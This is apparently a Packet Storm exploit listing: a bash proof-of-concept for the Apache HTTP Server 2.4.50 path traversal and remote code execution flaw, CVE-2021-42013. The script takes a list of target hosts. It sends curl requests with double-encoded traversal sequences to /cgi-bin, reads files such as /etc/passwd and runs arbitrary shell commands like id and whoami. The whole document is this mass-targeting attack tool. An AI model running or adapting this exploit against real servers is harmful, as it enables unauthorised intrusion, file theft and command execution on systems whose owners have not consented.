Exploit for Apache HTTP Server 2.4.50 Path Traversal / Code Execution CVE-2021-42013

## https://sploitus.com/exploit?id=PACKETSTORM:164501
# Exploit: Apache HTTP Server 2.4.50 - Path Traversal & Remote Code Execution (RCE)  
# Date: 10/05/2021  
# Exploit Author: Lucas Souza https://lsass.io  
# Vendor Homepage: https://apache.org/  
# Version: 2.4.50  
# Tested on: 2.4.50  
# CVE : CVE-2021-42013  
# Credits: Ash Daulton and the cPanel Security Team  
  
#!/bin/bash  
  
if [[ $1 == '' ]]; [[ $2 == '' ]]; then  
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]  
echo ./PoC.sh targets.txt /etc/passwd  
echo ./PoC.sh targets.txt /bin/sh id  
  
exit  
fi  
for host in $(cat $1); do  
echo $host  
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/$2"; done  
  
# PoC.sh targets.txt /etc/passwd  
# PoC.sh targets.txt /bin/sh whoami